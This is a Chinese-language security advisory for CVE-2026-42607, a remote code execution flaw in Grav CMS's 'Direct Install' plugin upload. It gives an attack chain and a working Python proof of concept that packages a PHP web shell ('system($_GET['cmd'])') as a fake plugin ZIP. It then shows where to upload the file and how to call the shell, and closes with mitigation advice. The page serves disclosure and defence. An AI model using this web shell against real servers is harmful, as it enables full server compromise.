IPBUF安全漏洞报告
English
CVE-2026-42607 CVSS 9.1 严重

CVE-2026-42607 Grav远程代码执行漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42607
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

RCE远程代码执行文件上传GravCMSCVE-2026-42607WebShell

漏洞概述

Grav是一个基于文件的Web平台。在2.0.0-beta.2版本之前,该系统存在一个严重的远程代码执行漏洞。拥有管理员权限的认证用户可以通过“Direct Install”工具上传特制的ZIP文件来利用此漏洞。虽然系统试图阻止直接上传.php文件,但它未能检查上传的ZIP压缩包内容。一旦恶意插件被解压,攻击者即可执行任意PHP代码或在服务器上植入持久化的Web Shell。该漏洞在2.0.0-beta.2版本中已得到修复。

技术细节

该漏洞的核心在于Grav CMS对“Direct Install”功能中上传的ZIP压缩包缺乏深层安全检测。系统仅在外层拦截了直接的PHP文件上传,却未对压缩包内部文件进行严格的内容安全扫描。攻击者可构造包含恶意PHP文件的ZIP包,并将其伪装成合法插件。当管理员上传并安装该插件时,系统会自动解压ZIP包,导致恶意PHP文件被释放到Web可访问目录。由于服务器配置允许解析PHP,攻击者通过访问该文件即可触发任意代码执行。此漏洞利用了文件解压机制与文件类型验证之间的逻辑缺陷,允许高权限用户绕过上传限制,获取服务器端完全控制权。

攻击链分析

STEP 1
1. 信息收集
识别目标服务器运行的是Grav CMS,且版本低于2.0.0-beta.2。
STEP 2
2. 获取权限
通过社会工程学或弱口令攻击获取Grav CMS的管理员账号凭证(漏洞利用需要高权限)。
STEP 3
3. 构造Payload
创建包含恶意PHP Webshell的ZIP文件,并将其伪装成合法的插件包结构。
STEP 4
4. 上传文件
登录管理员后台,使用“Direct Install”工具上传构造好的恶意ZIP文件。
STEP 5
5. 触发漏洞
系统自动解压ZIP文件,将恶意PHP释放到插件目录。攻击者通过浏览器访问该PHP文件,执行系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # 1. Create malicious PHP code (Webshell) php_content = "<?php system($_GET['cmd']); ?>" # 2. Create a directory structure mimicking a Grav plugin plugin_name = "malicious_plugin" os.makedirs(plugin_name, exist_ok=True) # Write the malicious file inside the plugin folder shell_path = os.path.join(plugin_name, "vuln.php") with open(shell_path, "w") as f: f.write(php_content) # 3. Zip the directory zip_filename = "exploit.zip" with zipfile.ZipFile(zip_filename, 'w') as zipf: zipf.write(shell_path, arcname=os.path.join(plugin_name, "vuln.php")) print(f"[+] Created malicious ZIP file: {zip_filename}") print(f"[+] Upload this file to the 'Direct Install' section in Grav Admin panel.") print(f"[+] Access the shell at: /user/plugins/{plugin_name}/vuln.php?cmd=whoami") # Cleanup artifacts os.remove(shell_path) os.rmdir(plugin_name)

影响范围

Grav < 2.0.0-beta.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用后台的插件“Direct Install”功能。同时,应检查服务器上是否有非预期的PHP文件被解压到插件目录中,并监控Web服务器的异常进程和网络连接。

参考链接